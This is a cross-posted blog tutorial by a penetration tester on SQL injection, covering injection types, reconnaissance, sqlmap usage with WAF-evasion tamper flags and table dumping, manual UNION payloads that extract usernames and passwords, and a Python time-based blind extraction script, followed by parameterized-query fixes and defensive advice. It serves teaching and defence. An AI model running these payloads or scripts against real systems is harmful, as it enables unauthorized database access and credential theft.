DEV Community

Cover image for SQL Injection: Anatomy of an Attack
Zahid Rasheed
Zahid Rasheed

Posted on • Originally published at xuro.net

SQL Injection: Anatomy of an Attack

SQL Injection: Anatomy of an Attack

A client called me at 11 PM on a Tuesday. Their e-commerce platform had been leaking customer data for six weeks before anyone noticed. The attacker hadn't used malware, hadn't brute-forced passwords, hadn't done anything particularly sophisticated. They'd typed a single quote into a search box and watched the database hand over everything it had. Forty thousand customer records — names, addresses, hashed passwords, partial card data — all gone because one developer had concatenated user input directly into a SQL query. That night taught me more about SQL injection than any certification ever did.

SQL injection remains the most consistently exploited vulnerability class I encounter across client engagements. Not because it's new — it's been on the OWASP Top 10 since the list existed — but because developers keep making the same fundamental mistakes, and attackers keep rewarding them for it. This post walks through how SQL injection actually works in practice, the tools I use to find it, the manual techniques that matter when automated tools miss things, and how to fix it properly.

What SQL Injection Actually Is (Beyond the Textbook Definition)

SQL Injection: Anatomy of an Attack — diagram

SQL injection happens when user-supplied input is interpreted as SQL code rather than data. The reason it keeps appearing in mature codebases is that it's contextual — a parameter that's safe in one query context becomes dangerous in another, and static analysis tools regularly miss it.

Here's the vulnerable pattern I see most often:

$search = $_GET['q'];
$query = "SELECT * FROM products WHERE name LIKE '%" . $search . "%'";
$result = mysqli_query($conn, $query);
Enter fullscreen mode Exit fullscreen mode

When a user searches for laptop, the query becomes:

SELECT * FROM products WHERE name LIKE '%laptop%'
Enter fullscreen mode Exit fullscreen mode

Completely fine. But when an attacker searches for %' OR '1'='1:

SELECT * FROM products WHERE name LIKE '%%' OR '1'='1%'
Enter fullscreen mode Exit fullscreen mode

The condition '1'='1' is always true, so every row in the table gets returned. That's the simplest version. In practice, attackers go much further.

The Four Main Injection Types

In-band SQLi is what most people think of — the attacker sees results directly in the HTTP response. This includes error-based injection (where database errors leak schema information) and union-based injection (where the attacker appends their own SELECT statement to the original query).

Blind SQLi returns no visible data but the application behaves differently depending on whether a condition is true or false. Boolean-based blind injection exploits this binary response. Time-based blind injection uses SLEEP() or WAITFOR DELAY to infer data character by character based on response timing.

Out-of-band SQLi uses secondary channels — DNS lookups, HTTP requests from the database server — to exfiltrate data. I use this when the application gives no visible feedback and timing attacks are unreliable due to network jitter.

Second-order injection is the one that gets good developers. The malicious payload is stored in the database first (appearing safe at insertion time) and then executed when retrieved and used in a subsequent query. I've found several of these in applications that had parameterized queries everywhere except in the admin panel that consumed stored data.

Reconnaissance and Discovery

Before running any tools, I spend time mapping the application manually. Every input point is a potential injection vector: GET/POST parameters, HTTP headers (User-Agent, Referer, X-Forwarded-For), cookie values, JSON/XML bodies, and file upload filenames.

The first manual test I always run is a single quote:

https://target.com/product?id=1'
Enter fullscreen mode Exit fullscreen mode

A database error message is gold. MySQL will often return something like:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Enter fullscreen mode Exit fullscreen mode

That tells me the database type, that error messages are enabled (a misconfiguration in itself), and that the parameter is injectable. Even if errors are suppressed, I look for behavioral differences — a page that loads differently, a response that takes longer, a redirect that shouldn't happen.

SQL Injection: Anatomy of an Attack — screenshot

Using SQLMap Properly

SQLMap is the standard tool, but running it blindly wastes time and generates enormous amounts of traffic that triggers WAFs. I always start with a targeted command:

sqlmap -u "https://target.com/product?id=1" \
  --dbms=mysql \
  --level=3 \
  --risk=2 \
  --batch \
  --tamper=space2comment \
  -p id
Enter fullscreen mode Exit fullscreen mode

The --tamper flag applies obfuscation scripts to bypass WAFs. For more aggressive WAF evasion I'll chain tampers:

--tamper=between,space2comment,randomcase
Enter fullscreen mode Exit fullscreen mode

For authenticated areas, I capture the full request with Burp Suite, save it as a file, and pass it directly:

sqlmap -r request.txt --cookie="session=abc123" --level=5 --risk=3
Enter fullscreen mode Exit fullscreen mode

When I need to dump a specific table after confirming injection:

sqlmap -u "https://target.com/product?id=1" -D ecommerce -T users --dump
Enter fullscreen mode Exit fullscreen mode

That said, SQLMap misses things. It particularly struggles with second-order injection, JSON-embedded parameters, and custom serialization formats. Manual testing with Burp Repeater finds what automated tools don't.

Manual Union-Based Extraction

When I'm doing a manual union-based injection, the first step is finding the number of columns in the original query. I use ORDER BY enumeration:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
Enter fullscreen mode Exit fullscreen mode

When the page breaks, I know the column count. If ORDER BY 4 causes an error but 3 doesn't, there are three columns. Then I find which columns are reflected in the output:

' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
Enter fullscreen mode Exit fullscreen mode

Once I find a reflected column (say, column 2), I can extract data:

' UNION SELECT NULL,database(),NULL--
' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT NULL,group_concat(column_name),NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT NULL,group_concat(username,':',password),NULL FROM users--
Enter fullscreen mode Exit fullscreen mode

On a real engagement last year, this exact chain extracted admin credentials from a healthcare portal within twenty minutes of initial access. The vulnerability had been present for three years.

Time-Based Blind Injection in Practice

When I'm working with an application that gives no visual feedback, time-based injection becomes essential. MySQL example:

' AND SLEEP(5)--
Enter fullscreen mode Exit fullscreen mode

If the response takes five seconds longer, the parameter is injectable. From there, I extract data character by character:

' AND IF(SUBSTRING((SELECT database()),1,1)='a',SLEEP(5),0)--
Enter fullscreen mode Exit fullscreen mode

This is painfully slow manually, which is where custom scripts help. I often write a Python script using the requests library for specific scenarios SQLMap handles poorly:

import requests
import time
import string

url = "https://target.com/product"
charset = string.ascii_lowercase + string.digits + "_"
result = ""

for position in range(1, 20):
    for char in charset:
        payload = f"1' AND IF(SUBSTRING((SELECT database()),{position},1)='{char}',SLEEP(3),0)-- -"
        params = {"id": payload}
        start = time.time()
        r = requests.get(url, params=params, timeout=10)
        elapsed = time.time() - start
        if elapsed >= 3:
            result += char
            print(f"[+] Position {position}: {char} (running: {result})")
            break

print(f"\n[+] Database name: {result}")
Enter fullscreen mode Exit fullscreen mode

For professional penetration testing engagements, timing attacks require careful baseline measurements — network latency variance can cause false positives. I always establish a baseline response time before running time-based tests.

Common Mistakes

Mistake 1: Trusting input sanitization over parameterized queries. I see developers using mysql_real_escape_string() or manually stripping single quotes and calling it secure. Bypass techniques exist for every sanitization approach. Parameterized queries are the only reliable fix.

Mistake 2: Only protecting visible input fields. HTTP headers are injection vectors too. I've exploited injection in User-Agent logging, Referer tracking, and X-Forwarded-For IP recording more times than I can count.

Mistake 3: Running database accounts with excessive privileges. The web application's database account should never have FILE, SUPER, or DROP privileges. If the account only has SELECT on the tables it needs, successful injection is dramatically less impactful.

Mistake 4: Disabling error messages without fixing the injection. Suppressing error messages makes injection harder to detect, but it doesn't prevent exploitation. Boolean-blind and time-based techniques work perfectly against applications with no error output.

Mistake 5: Assuming an ORM makes you immune. ORMs like Hibernate, SQLAlchemy, and Eloquent can be misconfigured to allow raw query execution. I've found injection in Django applications using raw() queries and in Laravel apps using whereRaw() with unsanitized input.

The Fix: Parameterized Queries Done Right

The vulnerable PHP from earlier, fixed with PDO:

$pdo = new PDO($dsn, $username, $password);
$stmt = $pdo->prepare("SELECT * FROM products WHERE name LIKE :search");
$stmt->execute(['search' => '%' . $search . '%']);
$results = $stmt->fetchAll();
Enter fullscreen mode Exit fullscreen mode

The user input never touches the SQL string. The database driver handles the binding, and the input is always treated as data, never as code.

In Python with SQLAlchemy (the correct way):

# Wrong - vulnerable
results = db.execute(f"SELECT * FROM users WHERE username = '{username}'")

# Right - parameterized
results = db.execute(
    text("SELECT * FROM users WHERE username = :username"),
    {"username": username}
)
Enter fullscreen mode Exit fullscreen mode

Beyond parameterization, implement defense in depth: Web Application Firewalls like ModSecurity with the OWASP Core Rule Set, least-privilege database accounts, regular penetration testing, and proper error handling that logs internally without exposing details to users.

The OWASP SQL Injection Prevention Cheat Sheet is the most comprehensive reference I point developers to. PortSwigger's Web Security Academy SQLi labs are where I recommend practitioners actually practice these techniques legally.

FAQ

Q: Can a WAF fully protect against SQL injection?

No. WAFs provide a useful layer of defense, but skilled attackers use encoding, comment syntax, and alternative keywords to bypass signature-based detection. I bypass WAFs during most engagements using tamper scripts and manual payload crafting. A WAF buys time and stops automated attacks, but it doesn't fix the underlying vulnerability.

Q: How do I test my own application for SQL injection without breaking it?

Use a staging environment that mirrors production. Start with passive testing — single quotes, double quotes, comment sequences — and observe behavior. Use Burp Suite's active scanner against staging. For production-safe testing, boolean-based payloads that only change query logic (not delete or update data) are lower risk. Never run --risk=3 SQLMap flags against production systems.

Q: My application uses stored procedures. Am I safe?

Stored procedures don't automatically prevent SQL injection. If the stored procedure constructs dynamic SQL internally using string concatenation, it's still vulnerable. A stored procedure that accepts parameters and uses them safely (without internal concatenation) is fine. Audit your stored procedure code the same way you'd audit application code.

Q: What's the first thing an attacker does after finding SQL injection?

Map the database structure: version, current database name, table names, column names. Then target high-value tables — usually users, admins, sessions, payment data. In MySQL environments with FILE privileges, I've seen attackers read /etc/passwd and write web shells via INTO OUTFILE. Database enumeration typically takes under ten minutes with SQLMap on a vulnerable endpoint.

Key Takeaways

  • Every user-controlled input — parameters, headers, cookies, JSON bodies — is a potential injection point
  • Use parameterized queries or prepared statements exclusively; never concatenate user input into SQL strings
  • Database accounts for web applications should have minimum required privileges only — no FILE, DROP, or SUPER
  • Suppressing error messages is not a security control; blind injection techniques bypass it completely
  • ORMs are not automatically safe; audit any raw query execution within ORM code
  • Test HTTP headers (User-Agent, Referer, X-Forwarded-For) explicitly — they're commonly logged into databases
  • Second-order injection requires testing data retrieval paths, not just data insertion points
  • WAFs are a compensating control, not a fix — remediate the underlying vulnerability
  • Time-based blind injection requires baseline timing measurements to avoid false positives
  • Run SQLMap with targeted flags and tamper scripts rather than default settings against real targets

Originally published at xuro.net — cross-posted with canonical link.

Top comments (0)